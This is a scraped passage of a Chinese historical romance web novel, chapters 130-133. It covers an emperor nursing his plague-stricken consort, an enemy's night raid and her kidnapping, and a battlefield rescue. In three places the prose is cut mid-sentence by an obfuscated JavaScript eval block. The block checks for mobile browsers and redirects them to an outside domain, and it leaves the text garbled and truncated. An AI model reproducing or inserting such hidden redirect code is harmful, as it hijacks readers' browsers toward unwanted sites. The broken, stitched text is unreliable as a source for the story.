此时北宫喆正趴在安文夕榻前睡了过去。 她上的女子脸色苍白,大大的杏目都有些深陷,嘴唇干裂,但正是这份病态,给她增添了几分别样的楚楚可怜。 北宫喆听到江向晚的声音,从榻上抬起头来,“晚儿?你怎么来了,你的身体不好,怎么不在营帐内躺着?” 北宫喆由于长期未睡,眸中布满血丝,眉眼之间的英气也掩盖不了那抹倦怠,薄唇上方青渣横生,江向晚蓦地涌出一阵心疼。 “我听说瑾淑妃染了瘟疫,熬了药来看看她。” 看着北宫喆打量的眼神,江向晚立即道:“你放心,我没有恶意。” 北宫喆没有接药,淡道:“你有心了,放下吧。” “雪嫣,扶你家小姐回去歇息。” “喆,我听说你还没有用膳,不如……” “不用了,我待会再吃,你先用吧。” 江向晚抿了抿嘴角,说道:“好。”然后将药汤放下,转身欲走。 身后传来北宫喆略有些嘶哑的声音道:“好好将身体养好才是正事。” 江向晚闻言顿时一暖,身体内泛起丝丝暖意,只听得北宫喆又道:“朕明日让惊魂送你回承安。” 江向晚蓦地转身道:“喆,我不想走……” 北宫喆看了眼榻上昏睡的女子,淡吐道:“罢了,你先下去吧。” 那温柔的眉眼,细心呵护的模样令人忍不住沉沦,江向晚握了握拳,他怕她吵醒安文夕么? “是。”江向晚走出营帐,步步寒凉。 北宫喆握着安文夕的手,放在唇边轻吻,嘴里喃喃道:“夕儿,赶紧醒来,过两日我们就去幽冥山找七味草,解了你的息子魂殇,朕还想让你给朕生一堆孩子……” 第130章 夜幕偷袭 第一百三十章夜幕偷袭 “喆哥哥,喆哥哥……”月无双人还未到,便先闻其声。 她匆匆忙忙掀开帐帘,脚踝上佩戴着的小铃铛随着她急切地脚步而发出阵阵响声,头上五颜六色的发带随着她的步伐而左右摇摆。 月无双额头上还布着一层细汗,脸颊微红,眉眼之间尽显疲惫,显然是一路疾驰而来。她的身后还背着一个青色的大包袱,还没有来得及解下,便匆匆赶来了主营帐。 “夕姐姐她……喆哥哥是不是无双来晚了?”月无双看着床榻上脸色苍白的安文夕,黛眉轻挽。 月清绝紧随着月无双的脚步进了营帐,随手递了杯茶给月无双道:“先喝口茶缓一缓。” 然后看向疲倦不堪的北宫喆,叹道:“你这又是何苦呢,就算是没日没夜的守在这里,她还是不会醒,不如去休息一下,别回头她还没有醒,你先垮了下来。” “朕没事,南城那里的情况如何了?” “现在瘟疫算是得到了控制,已经不再传染,这两日来死亡的百姓人数也降了下来。” 北宫喆略略点头,眼睛一片酸涩,看了眼安文夕道:“夕儿虽然不再高烧,可是依然迟迟未醒,是不是息子魂殇的缘故?” 月清绝拉过安文夕的手,探了探脉,沉吟道:“沐阳一战结束后,你得抓紧时间去幽冥山了,现在不能再拖了,那息子魂殇在她体内越久越糟糕。还有,你不能每次都要用息子汤避孕吧,这对她身体伤害极大,若是用的频繁,将来甚至会导致绝育。” 北宫喆眸光蓦地一黯,导致绝育…… 前几日在沐阳青华宫之时,由于匆忙,她根本没有来得及喝息子汤,再加上瘟疫的事情,他也将此事抛在了脑后。 若是那次她能够受孕的话……北宫喆轻抿薄唇,他必须要给她解了息子魂殇! 以前由于她中了息子魂殇,根本不能怀胎,再加上曹太后欲扶持幼帝而将他废黜,他一直没有动过要孩子的念头。他如今已经二十二了,突然想要一个孩子,一个和她的孩子。 “清绝,你赶紧去配药吧,夕儿已经昏睡了一天一夜了。” 月清绝撇了撇嘴道:“行了,你的夕儿就交给我,你赶紧去休息一会,沐阳一战还靠着你呢。”他说着从月无双身下摘下那青色的包袱。 “哥,我这次来不仅带了干白草,还带了一些别的药材。”欢凉放下了手中的茶。 月清绝看着月无双带来的袋子里面的药材,嘴角一抽,不禁对月无双道:“你这丫头倒是大方,几乎将谷里的干白草全部拿来了。” “我不是怕不够么,再说了,这些药材和那些百姓的性命相比算得了什么?” “行了,这些都交给我吧,你也去好好睡一觉。”月清绝瞥了眼月无双,她的双眼下面乌青一片,定是许久未睡。 月清绝和月无双刚想回营,帐帘突然被人掀起,两个侍卫架着一位浑身是血的士兵走了进来。 北宫喆眸光微凝,这是风家军,他们身上都穿着风家特有的盔甲。 那位浑身是血的士兵看到北宫喆,吃力的往前爬道:“皇上……大事不好了,将军被困在了沐阳……慕容清断了水粮,如今那慕容清正带领了十万将士赶来济州,想……趁着皇上不察,偷袭夏军,一举……一举拿下济州!” 那人艰难的说完这段话,嘴角的血迹蜿蜒流下。 月清绝惊道:“慕容清来济州,怎么没有一点消息传来?” “慕容清封锁了一切消息……就是想要打个措手不及,将军派我们二十个人前来送信,如今……如今只剩下了我一个。” 北宫喆锐利的双眸刹那间深邃了起来,抬眸看向那人道:“慕容清何时出发的?” “今天早上。” 早上出发,想来差不多也该到了,看来是打算晚上偷袭了。 “将他带下去治伤!”北宫喆沉声道。 他回头看了安文夕一眼,对月清绝道:“你让欢凉过来照顾她。” 北宫喆撩开步子跨出了营帐,立即召集了所有羽卫。 左言向来负责收集、打探消息,掌管着暗处所有的情报,亦是整个羽卫的统领之一,这次出了这样的事情,他竟然半点也不知道。若不是那位士兵拼死将消息送了回来,他不敢想象今晚会发生什么,济州失陷都是小事,万一皇上发什么什么意外,他就是万死也难辞其咎。 “皇上,左言罪该万死,请皇上处置。”他此时双膝跪在北宫喆面前,等待着北宫喆发落。 “如今十万大军压境,处置你又有何用?”北宫喆扫了他一眼冷道。 半晌北宫喆沉声道:“你先起来吧,当务之急就是先解决今晚慕容清偷袭一事。” “皇上,济州城在地势上占了优势,居高临下且多崇山峻岭,是易守难攻之地。”青玄道。 “是易守难攻之地不错,但是同样,若是慕容清将我们困在此处,亦是易如反掌。”北宫喆抿唇道。 青玄蓦地一惊,顿时垂眸不语。 慕容清一开始就是打算先散下瘟疫,然后将他困在此处,一点点的将他逼死,真是好计策! “此时,风明将军被困,而彭将军正驻扎在西楚边疆,我爹年事已高,不能出战,难道我们真的要困在此处么?”惊魂眸光微敛。 北宫喆扫了惊魂一眼,黑瞳骤缩,季将军叱咤疆场多年,向来让人闻风丧胆,可惜几年前在战场上受了箭伤之后,身体便大不如前了,现在再也不能上战场杀敌了。 北宫喆展开济州地图,指着上面几处险要处道:“这里都是险要之处,白羽你带人从这里绕出去,攻其不备。青玄准备好弓箭手,左言带人去将风明救出来,彼时,前后夹击慕容清,定让他有去无回!” 他说话之时,双眸泛着绛尊之色,剑眉飞入鬓角,虽然眉宇之间透着浓浓的倦色,但难掩他周身的冷峻无双。 “朕猜,慕容清下一步就是要切断济州的粮草。” “皇上,属下愿意去锦城取粮草。”惊魂抱拳道。 “不,不去锦城,就去沐阳!”北宫喆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440111|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉声道,“兵不厌诈,以慕容清那多疑的性子,定然想不到朕会去他的老巢取粮草。” “是。” 入了夜,夜色如墨,周遭一片寂静,似乎想要掩盖将要来临的一场恶战。 慕容清那日在北宫喆和安文夕这里受了辱,怎么咽得下这口恶气,不惜发动十万将士要将北宫喆和安文夕生擒。 他自以为计划天衣无缝,却不想北宫喆早已部署妥当,已经隐在夜色中等带着他了。 慕容清带着一万将士准备偷袭济州夏营,不料却中了埋伏圈,还未踏进夏营,羽箭便如天女散花一般,密如牛毛,从四面八方一齐涌了出来。 若不是他撤退及时,只怕他带着的这一万人马就要全部折在这里了!不曾想,他还没有完全撤退下来,后面又是埋伏,他竟然被北宫喆给包了饺子!好在他带了一万人马,不然他这次又被北宫喆给拿下了。 这一仗不仅没有将北宫喆困在济州,反而他被逼的落荒而逃,慕容清气得肝儿疼,这次他真是太过大意,太过浮躁! 有了干白草,月清绝下午的时候就将瘟疫的解药配了出来,取了一部分送去了南城,然后将剩下的全部融进了附近的河水之中,这次瘟疫总算是得到了解决。 安文夕服了药后,仍然在沉睡,欢凉一直守在她的榻前。 如今,已经将近午夜,慕容清落荒而逃之后,北宫喆拖着疲倦不堪的身子进了营帐。 欢凉听到声响,忙惊坐起来。 “她吃了药还是没有醒么?” “没有。” “朕知道了,你先下去吧。” 翻身上榻,北宫喆一把褪去身上的衣物,将安文夕紧紧拥在怀中,身子疲倦的不想再动。 灯火摇曳,勾勒出一室温暖。 过了不久,安文夕缓缓睁开眼睛,发觉自己被他拥得太紧,有些透不过起来,微微抬头,光洁的额头触碰到他青渣森森的下巴上,**渣扎得生疼。 他长长的睫毛在昏黄的清油灯下投射下来一排剪影,桃花眼下方一片乌青,白若冠玉的脸上写满了倦怠。 她昏睡的时候,微微有点印象,好像有人向她以口渡药,难道他一直在守着她? 安文夕心中飞快的一抹一抹悸动,她静静地躺在她的怀里,任由他抱着,突然有些害怕自己翻身会将他吵醒。 安文夕微叹一口气,这些算是她欠了他的。 第二日,安文夕依然保持着这个睡姿,身体有些僵硬酸楚,耳边蓦地传来一声略带嘶哑的声音道:“夕儿,你醒了?” 嘶哑中透着喜悦。 北宫喆用手试了下她的体温,看着她脸上浮现的淡淡红晕,顿时放下心来。 刚用过早膳,军士来报,慕容清前来宣战,要求他亲自出战。 今日一早,风明带着风家军已经驻扎在济州城外三十里处,和济州城内的夏军遥遥相望,将慕容清夹在了中间之处。 如今,慕容清的情况不容乐观,竟然选择直接向他宣战,可见他是坐不住了! 第131章 我要她死 第一百三十一章我要她死 北宫喆陪安文夕用过早膳后,欢凉将安文夕的药送来,看着那一碗黑漆漆的药汁,安文夕微微拧眉。 “怎么,怕苦?”北宫喆接过药碗道。 “若是怕苦,朕喂你,反正朕也喂习惯了。”他的嘴角噙着一丝狡黠的笑意,眸光有意无意的在她的唇上流连。 虽然那次情迷之中她解了相思蛊,但是她反而没有那么的排斥他了。没有相思蛊的反应,才是她心中最真实的反应不是么? 喂习惯了……安文夕听到这几个字,看着他有些暧昧的眼神,脸颊有些微热。 看了眼黑漆漆的药,从他手中接过道:“这点苦不算什么,你若是想喝就让欢凉再给你送一碗。” 北宫喆垂下眼睑,掩去了眼底的点点笑意。 安文夕一饮而尽,嘴里顿时弥漫了浓浓的苦涩,仿佛连舌头都已经苦的麻木。 北宫喆看着她略皱的眉头,从袖中取出一颗糖递给她道:“还说不怕苦,脸都皱到一起了。” 看着他手中的糖,安文夕心中一颤。 “发什么呆?”北宫喆将糖纸剥掉,一下子塞到她的嘴里。 冰糖在她嘴里一点点化开,舌尖上融了一丝甜意,这一抹甜慢慢蔓延了整个嘴里,一直流进心中。 看着他俊美无斯的脸上挂着浅浅温柔的笑意,安文夕杏眸微凝,睫毛轻颤了颤。 北宫喆看着她温顺的模样,心中一动,一把将她拉到他的腿上,用手圈着她的腰肢。 清凉的梨花香铺天盖地而来,他的气息霸道的闯进了她的鼻翼,让她的心顿时狂跳了两下。 “那个,你,你不是要去迎战么,怎么还不走?” “这药吃完之后会发困,你好好的睡一觉,等朕凯旋!”末了,北宫喆在安文夕脸上啄了一口,微凉的唇流连在安文夕的嘴角,在他即将吻上她的唇瓣之时,安文夕蓦地一把推开了他。 “你赶紧去吧,别人都在等着你呢。” 北宫喆走后不久,一阵困意袭来,安文夕翻上了床榻沉沉睡去。 虽然这一战看着北宫喆占了上风,但毕竟驻扎在济州的只有五万人马,风家军也不过五万人,而慕容清只来济州就带了十万人,在沐阳还留了十万将士。 这一战不容小觑,北宫喆带兵迎战,在大营内只留下了看守大营的几百侍卫。 北宫喆带兵走后不久,一抹身着娇小的身影从营帐后方一掠而过,身姿如燕,速度迅如闪电。 江向晚本欲远远地跟上战场瞧一眼,听到一丝响动,以为是北宫喆留下的羽卫前来阻止她,谁知过了半刻,不见对方动静,不由得冷冷喝道:“谁在那里,出来!” 背后突然伸出一只带着凌厉之势的手来,一把缚住她的双手,她虽然反应灵敏,但身手到底是大不如前了。 待看清来人的面貌,江向晚眼底划过一抹惊色道:“是你!” 秋月脸上浮现淡淡的鄙夷,冷嗤一声:“江小姐,好久不见,没想到你这身手倒是退步不少。” 前方两军即将开战,她作为慕容清的第一暗卫怎么会突然出现在这里? “秋月大人真是好大的胆子,难道不知道这里是哪里么?放开我的手,别逼我喊人!” 秋月双眸带了丝不屑,“这里是夏营又能如何,你以为北宫喆留下的这些废物能拦得了我秋月?”她手中的动作一紧,扯得江向晚一阵皱眉。 她低笑道:“没想到江小姐现在如此的弱不禁风,难道真如传言所说的那样活不长久了?” “你——”江向晚闻言眸中飞快的掠过一抹杀意,这个女人真是狂妄至极! 半晌,江向晚倏地笑道:“你还是像以前一样不招人喜欢,怪不得你跟了慕容清这么多年,他都没有将你收房的意思,呵呵……” “你给我闭嘴。”秋月抬手欲砸晕江向晚,江向晚蓦地接住了她砸下来的手道:“慢着,你来这里何事?” “何事?你去了就知道了,我倒要看看你在北宫喆心中有多少地位。”她本来是打算劫持安文夕,不成想倒出来一个送死的。 江向晚看着秋月眼底的精光,立即明白了她的意图,想用她来要挟喆! 当即冷笑出声:“我当是什么呢,原来是这样卑鄙的手段。你以为喆会上了你的当么?” “是么,上次安文夕困在青华宫,北宫喆明智是陷阱,还是单枪匹马去抢人,这次若是换了你,不知又会如何呢?” 江向晚闻言瞳孔蓦地一缩,眼底飞快的划过一抹思绪,有不甘,有幽怨。睫毛微颤,垂下的眼睑掩去了这抹转瞬即逝的眸光。 “怎么,怕了?”秋月一把松开了她,懒得跟她浪费功夫,北宫喆是可以为救她,但是她还左右不了北宫喆的情绪,唯一能够令北宫喆失去理智的只有那安文夕。 更何况,主子点名的是要那安文夕! 江向晚看着秋月的方向,蓦然出声道:“你要去劫持安文夕?” “是又如何,就凭现在的你拦不住我。” 江向晚眸中闪过一丝算计与阴狠,红唇勾起,“我为什么要拦你?”她将安文夕劫持走,正是她希望看到的。 最好让她永远离开喆的身边! 秋月微微一滞,只听得江向晚又道:“即便你能溜进来,带着她你也难以出得去,只她身边那个欢凉和袭匀你就难对付,更别说还有月家兄妹了。” “听你的意思,是打算帮我了?” “你凭什么让我帮你呢?” “开出你的条件。” “我要让她死!”江向晚眼底恨意横生,丝毫没有遮掩的意思。 “看不出江小姐心肠这么狠毒。”秋月讥笑。 “事后你将她交给我。”江向晚冷冷道,既然现在千年龙魄得不到了,安文夕挖了她的心,那么她就取了她的心,用她的心活下去! 这次,喆若是去救她,那她安文夕就背负了天下的骂名,以后喆就是再想为她正名都难,这样的祸水怎么还能威胁到她的后位呢? 若是喆不去救她,那她就只有死路一条!江向晚凤眼微眯,眼底的狠毒在她的眼中一点点扩大。 “欢凉姑娘,月公子让你过去一趟。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440112|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个小侍卫对欢凉道。 “他叫我什么事情啊?” “这个月公子没说,卑职也不知道。” 欢凉看了眼安文夕所在的营帐道:“我去去就来,你看着公主,万一公主醒了,你还能为她端茶倒水。” 袭匀脸色一变,“小师妹这一睡估计都到午时了,到那会北宫喆就回来了,还用得着我,你这么迫不及待的想去见那月清绝?” “关你屁事。”欢凉凉凉的瞥了他一眼。 “嘿,怎么不关我事了,我得看着你别被他勾搭走了。”袭匀说着走着。 欢凉脚步一顿,白了袭匀道:“什么勾搭,这么难听。” “我说的是事实,那个月清绝一天到晚都在打你的主意!” “……”欢凉斜斜的扫了他一眼,加快了步子,将他抛在了后面。 “臭丫头,等等我……” 欢凉和袭匀前脚刚走,一抹娇小的身影悄无声息的潜进了主营帐内。 月清绝正和月无双一起配药,看见欢凉进来,惊喜道:“小丫头,你可是稀客啊,怎么想起来主动来找我了,是不是想我了?” “不是你让我来找你的么?” “没有啊。”月清绝狐疑的看着她。 “不好!”欢凉脸色一变,立即掠出了月清绝的营帐。 这是调虎离山,她太大意了! 袭匀双眸一缩,立即跟了上去,月清绝和月无双紧随其后。 待他们看到主营帐内的双榻上空空如也,心全部沉到了谷底。 欢凉眸光一黯,双拳紧握,她竟然让公主在她的眼皮子底下被劫! “我去将公主带回来!” “回来,你回来。”袭匀一把拉住她,“你遇事不要这么冲动好不好。” “谁劫持了夕姐姐?” “慕容清,除了他我想不出第二个人!”欢凉抿唇。 “那慕容清想用小师妹要挟北宫喆?” “赶紧去通知他!”月清绝脸色立即变得凝重。 这下麻烦了,谁都知道北宫喆最在乎的就是安文夕,慕容清劫了安文夕,那这一仗还怎么打,这不是让他收兵就收兵,让他割城赔款就割城赔款么? 不对,月清绝想到脑海中那个冷绝狂妄的那个男人,立即打消了这个念头。北宫喆若是连这都搞不定,那他也不用做这大夏的皇帝了。 月清绝话音刚落,欢凉和袭匀已经没了影子,月无双刚走跨出营帐,却被月清绝一把拉住道:“你就别跟着瞎捣乱了。” “我怎么是捣乱,你别拦着我!” 月清绝瞥了眼月无双的穿着,略略皱眉,“你看看你这身打扮,走到哪都是一道亮丽的风景线,还有你身上那些个老古董铜铃,你也不嫌吵得慌,你这还没去,就被别人发现给咔嚓了!” “哥,你可以侮辱我的长相,但是绝对不能侮辱我的品味,这身穿着怎么了,夕姐姐都说霸气侧漏!” 月清绝不耐的掏了掏耳朵,将月无双一把拖走,“跟我去配药,回头还得再发一次药,瘟疫的事情才能彻底解决。” 第132章 神仙眷侣 第一百三十二章神仙眷侣 二月的天气开始渐渐回暖,如今正是草色遥看近却无的季节,脚下的土地上生了点点绿意。 墨色的盔甲在明媚的阳光下泛着微光,十万将士皆手持长矛,只待一声令下便冲向对面的敌人。 最前面的男子骑在马上,身上的黑色盔甲给他冰冷的脸上更添几分冰寒,他身后的披风猎猎摇曳,双眸微眯,紧握着手中的长戟。 秋月从他身后走来,对他小声道:“皇上,得手了,为了防止她不听话,属下暂时封了她的内力。” 慕容清黑瞳蓦地骤缩,冰冷嘴角勾起了一抹笑来,“秋月,你做的很好!” 他昨晚偷袭夏营不成,反被北宫喆将了一军,如今前有夏军,后有风家军,北宫喆又切断了他所有的粮草路线,逼得他如今被活活堵死在这里,眼看存粮不过三日,慕容清急得火烧眉毛。 与其在这里等死,不如拼死争一下,也许还会有些胜算,毕竟北宫喆在济州只有五万大军,而风明的风家军也只是五万人马罢了,更何况他现在手中还有安文夕不是么,想到这里,慕容清眸光渐深。 慕容清嘴角的笑意越加扩大,看向对面冷颜绝绝,面带桀骜,宛如神祗一般的男人,眼底慢慢划过一抹讥意,他倒要看看他还能狂到几时。 北宫喆身着银白盔甲,双眸微眯,睥睨着对方,周身散发出冷煞之气,天生就有一种令人臣服的君临天下的气势。 战鼓响起,声声催人紧,这时,后方传来阵阵急迫的马蹄声,欢凉利索的翻身下马,径直掠至北宫喆身侧,脸色凝重道:“皇上,公主被慕容清带走了!” 北宫喆闻言心中一沉,凌厉的黑瞳骤缩,抬眸看向对面脸上挂着得意笑容的慕容清,双拳收紧。 慕容清看着北宫喆微变的脸色就知道他这次赌对了,对着身后道:“将她给朕带上来!”今天他就让北宫喆不战而败,他要毫发无伤的回到沐阳! 想起前几日北宫喆和安文夕给予他的侮辱,他觉得此刻呼吸格外畅快。 秋月将安文夕提了上来,此时安文夕双目紧闭,脸色略微有些苍白,薄唇在阳光下有些白的透明,北宫喆看着那道娇小的身影,眸光微沉。 欢凉看着被慕容清提上马的安文夕,心中一紧,右手下意识的握紧了手中的长剑。 北宫喆身后的众位将士也不由得倒吸了一口凉气,那位被缚住双手的女子不正是夜夜宿在主营帐的娘娘么,她得了瘟疫,皇上竟然在她身边守了一天一夜,如今敌方抓住了她,分明就是用她来威胁皇上的。这一仗,皇上又怎么打?众人不自觉地齐齐看向前方那道高大峻拔的身影。 北宫喆右手一扬,薄唇轻启:“息鼓!”这二字透着万钧之势。 身后五万将士的心顿时一沉,皇上竟然真的打算为了那个女子不战而输么,当即,众人不由得骂起安文夕红颜祸水来。以前在清河战场上,皇上就为了那瑾淑妃而损失了五千人马,好在那瑾淑妃被赐**,如今这又冒出来了第二个瑾淑妃么? 知道安文夕就是那宠冠六宫的瑾淑妃的人也仅仅只有青玄、惊魂等羽卫罢了,其他的将士并不知道。 鼓声一止,慕容清脸上的笑意又深了几分,对着北宫喆道:“北宫喆,不知江山和美人你到底会如何选呢?” 看着北宫喆紧抿的嘴角,他又沉声道:“朕劝你考虑清楚了,不要寒了你身后众人的心呐!” “皇上,您不要上了他的当了。”青玄忍不住出声道,临阵息鼓,是兵家大忌! 慕容清勾唇一笑,挑起安文夕的下巴道:“正好,朕身边还不曾有女人,看着这嫩白的小脸,给本王暖床还不错。” 北宫喆眸光骤缩,冷声道:“慕容清,放了她。” “这么说你想要放弃你的江山了?” 秋月将她带来时给她点了睡穴,此时穴道早就开了,安文夕发觉自己被挟持且内力被封,为了减小存在感,一直都在装睡。听到北宫喆那句隐忍着怒气的“放了她。”她的睫毛轻颤,掩在袖中的动作一顿,片刻,手中那片薄如蝉翼的刀片一闪,安文夕被捆着的双手蓦地一松,缚着她的最后一丝麻绳被她割断。 “朕何时说过要放弃江山了!江山和美人都是朕的,你算个什么东西!”这一句狂妄之极。 慕容清脸色丨微变,眸光涌起浓浓的讥讽,他扫了眼北宫喆脸上的不屑,他的眼底沁出一抹杀意,今天就要让北宫喆知道什么叫做怕! 北宫喆话音刚落,撑马而起,一道银白身影如一道闪电一般掠至慕容清面前,抓住了安文夕的一只胳膊。 两军之间隔着五百米的距离,而北宫喆却只用了一瞬! 下一刻,慕容清猛然反应过来,飞快的抓住安文夕的另一只胳膊,三人蓦地僵了一瞬。 就这这时,安文夕原本紧闭的双眼倏地睁开,右手扯过抓着她胳膊的手,将他一把掀开。 慕容清不敢置信的看着这一幕,她何时醒过来的? 秋月眸中更是布满了震惊,她明明封了她的内力,她此时不应该和平常柔弱的女子一样么,哪来的那么大的力气? 安文夕双眸扫过慕容清和秋月震惊的脸色,嘴角微勾,她向来擅长的就不是内功,而是近身擒拿格斗。 “抱紧我!”北宫喆不由分说揽住了她的柳腰。 安文夕一滞,随即双臂搂紧了北宫喆的脖子。 “想走,可没那么容易!”慕容清双眸沁着阴狠,对身后吩咐道,“拿下!” 随着他一声令下,令旗挥舞猎猎作响,号角声拔地而起,骑兵倾巢而动,齐齐堵住了北宫喆的去路,后面的弓箭手也已经拉了满弓。 “杀!”见北宫喆和安文夕一起陷入困境,青玄挥动了战旗。 场面一时变得有些混乱,双方将士厮杀在一起。 慕容清看着被八百骑兵包围起来的北宫喆和安文夕,眼底划过一抹阴狠,厉声道:“给朕活捉他们!” 安文夕眸光一凛,看着不断逼近的骑兵,咬了咬唇,和骑兵相比,北宫喆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有你就不怕。”原本到嘴边的话令安文夕一惊,她何时竟然这么依赖北宫喆了? 她抿了抿唇道:“不怕。” 就这这时,周围不断有长矛朝他们刺来,速度太快,以至于根本分不清是真是假,只觉眼前泛着寒光的银色长矛直探面门而来。 北宫喆将她紧紧护在怀中,姿态从容,场中的长剑如行云流水一般将周围的长矛一一打退。 安文夕微微蹙了眉,这样一直防卫下去也不是办法,若是破不了这个阵法,那他们就会一直被困在里面,活活累死! 阵法随着阵外那一声声砸在人心上的低沉的号角而越来越快,就在这时,一支银光闪闪的头直冲安文夕的面门而来,而一旁的北宫喆专心应对着眼前,仿佛没有看见一般。安文夕下意识地将北宫喆推开,避过寒锋。 谁知她刚推开北宫喆,眼前画面一转,那支长戈顿时消失不见,取而代之的是擦着她的背脊而来的一只羽箭。 安文夕背脊一寒,暗呼不好——中计了! 第133章 换她真心 第一百三十三章换她真心 “夕儿……”北宫喆飞快的去抓安文夕,却只擦过了她的衣角,挥剑斩断羽箭,而他身前的长矛毫不犹豫的刺进了他的小腹。 “不——”安文夕蓦然回头,眼睁睁看着那尖锐的矛头刺入他的血肉之中。 北宫喆脸色丨微变,眼睛也未眨一下,左手一把抽出长矛,反手扔了出去。 “噗——”被矛头刺到的那人落下马来,阵法顿时打开了一个缺口,可惜好景不长,只一瞬的时间那打开的缺口就再次闭合。 外面的几百骑兵将此处围得水泄不通,青玄等人根本就冲不进来,亦看不到里面的情况,他们的心始终悬了起来。 而阵法内的攻击似乎比刚才更猛烈了,他们有意将北宫喆和安文夕分开,将他们之间的距离约拉越大。 不计其数的长矛,招招攻向她的软肋,安文夕黛眉轻挽,抽出腰间的七节鞭将近身的长矛横扫了出去,凌冽的鞭尾带着强劲的力道袭向马上的骑兵。 她根本看不到人影,只能凭着感觉砸向那人,而相反,布阵的骑兵却可以清楚的看着她的一举一动。由于骑兵手中拿着盾牌,安文夕手里的长鞭刚刚甩了出去,就立即被弹回,根本就近不了人身。 每次在她攻击之时,凌厉的长矛擦着她的面门而过,幸得她身手敏捷,堪堪躲过。 几次反复之后,安文夕额头上沁出了一抹细汗,她扫了眼脚边,眸光一敛,握着七节鞭的右手突然收紧。 “啪——”一道带着凛冽之势的鞭风重重砸在了马腹上,鞭声一落,紧接着是一声长长的嘶鸣,那马吃痛的扬起前蹄,安文夕手里的鞭子顺势缠住马蹄,用力一拉,直接将马掀翻,这一下力敌千钧,马背上的人狠狠的被甩了下去。 而北宫喆用凛冽的剑气将身前的骑兵震出几丈之远,这坚如铜墙铁壁的骑兵阵被二人打开了巨大的缺口,整个骑兵溃不成军,就连身下那健壮的马匹也都软了蹄子。 骑兵未歇,身后的兵将提着长矛蜂拥而上,试图将他们二人逼死。 北宫喆迅速掠至安文夕身侧,欲将她护在怀中,安文夕却勾唇道:“相信我,我可以。”她的眸光带着坚定与自信。 北宫喆双眸一凝,眼前的女子神色丨微扬,在他的心中漾开了涟漪。 这就是与他共看天下的女子,她不需要躲在他的怀中靠他去保护,她有能力陪在他的左右。 “好,但不许逞强!” 北宫喆和安文夕二人背靠着背,警惕的打量着不断靠近的人。 慕容清看着被困在一起的二人,嘴角噙着丝玩味的笑。 北宫喆,你也有今天! 冲在前方的士兵举着长矛狠狠的刺来,安文夕侧身躲过,手里的鞭子越发的凶狠起来。 一波未退,一波又起,这慕容清这是打算用车轮战拖死他们么? 安文夕甚至来不及扬鞭,对面的人就已经扑了上来,她眸光一凛,迅速的折断那人的脖子,一手一个,干净利落。 北宫喆看着她眼底的凶狠心中一滞,她何时**这么熟稔了?待看到她双手成勾,直接在那人脖子上掏出一个血窟窿之时,眸光一黯,这么残忍血淋淋的将人置之于死地,她竟然眼睛都不眨一下,这还是她么? “来我这里。”北宫喆眸光一敛,他不愿看着她变成一个**不眨眼的魔鬼! 安文夕顺着他的视线看了眼她染满鲜血的双手,微愣了一下,顿时明白了他的意思。 她抿了抿唇,扯过手帕将手上的血渍擦干净。而她眼中却是一片清明。 你不残忍,别人就对你残忍!这是前世头儿天天挂在嘴边的话,直至如今她才彻底明白。 慕容清看着浮尸遍地的前方,双瞳骤缩,右手一摆,“放箭!” 安文夕蓦然回头,身后的羽箭密密麻麻直朝二人射来,一时间,多如牛毛般的箭头泛着寒光直袭而来。 “将弓给我!” 慕容清接过秋月递来的**,将尖锐的箭头对准北宫喆拉了满弓,待要放箭之时,箭头倏地一转,蓦地对准了他身后的安文夕。 “嗖——” 慕容清飞快的从箭囊中抽出三支箭搭在弓弦上,将**弓拉到极致,然后迅速放手,三箭齐发,皆对准了安文夕,他就不信他们这次还能逃得出去? 四支羽箭一前一后,从不同的方向一起涌向安文夕命脉,速度如光影一般,让人避无可避。 安文夕刚刚击落了身前的几支羽箭,一抬眸一支带有凌冽之势的便已经逼近了她的心口。她蓦地一退,重重的贴在了北宫喆的后背。 就在这时,背后的男人突然转身,将她护在胸前,他的双手同时抓住另外两个方向的羽箭。 “噗呲——”安文夕紧贴在北宫喆的前胸,甚至可以清晰的听到箭头入体的声音。 “九哥哥,你怎么样?”一句不经思考的担忧逸出唇畔。 她眼底的惊慌与关切已经出卖了她的心,她竟然如此的在意着他! 北宫喆嘴角勾起一丝笑意,能换她一句真心,这伤也值了! 他扔下手中的羽箭,抬手再次将长剑握在手中,一把搂住她的腰,将她带至半空,剑气如虹,凌厉的气浪将四周震翻一片,北宫喆足尖踩着下面将士的头顶,翩然而过,直直掠至慕容清面前。 长剑挥出,直接挑翻慕容清坐下的骏马,将他逼下马来。 “你就这么喜欢做缩头乌龟?”北宫喆目光轻蔑。 慕容清淡淡扫了眼北宫喆一路蜿蜒的血迹,双眸一凛,冷嗤一声,握起长戟,刺向北宫喆。 他后背受了箭伤,怀中还抱着安文夕,怎么会是他的对手?现在,他就要将他的骄傲一点点踩在脚下! “北宫喆,你放我下来。” “你就对我这么没信心,嗯?”这一声恍如情人间的浅浅低呢。 